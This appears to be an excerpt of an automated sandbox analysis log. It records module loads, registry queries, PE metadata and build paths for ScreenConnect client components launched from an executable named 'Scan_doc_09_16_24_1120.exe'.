Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Scan_doc_09_16_24_1120.exe Static PE information: certificate valid
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: Scan_doc_09_16_24_1120.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Scan_doc_09_16_24_1120.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2784738148.00000227082D0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F4C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284476507.0000000001852000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: Scan_doc_09_16_24_1120.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2784738148.00000227082CC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F47000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.2282591404.00000000024C2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.3273020779.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000F.00000002.2941168266.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000F.00000002.2940865152.0000000003100000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000B.00000000.2277621533.0000000000BCD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2784738148.0000022707F43000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082C8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2286646662.000000001C312000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.2784738148.0000022707F43000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082C8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2286646662.000000001C312000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
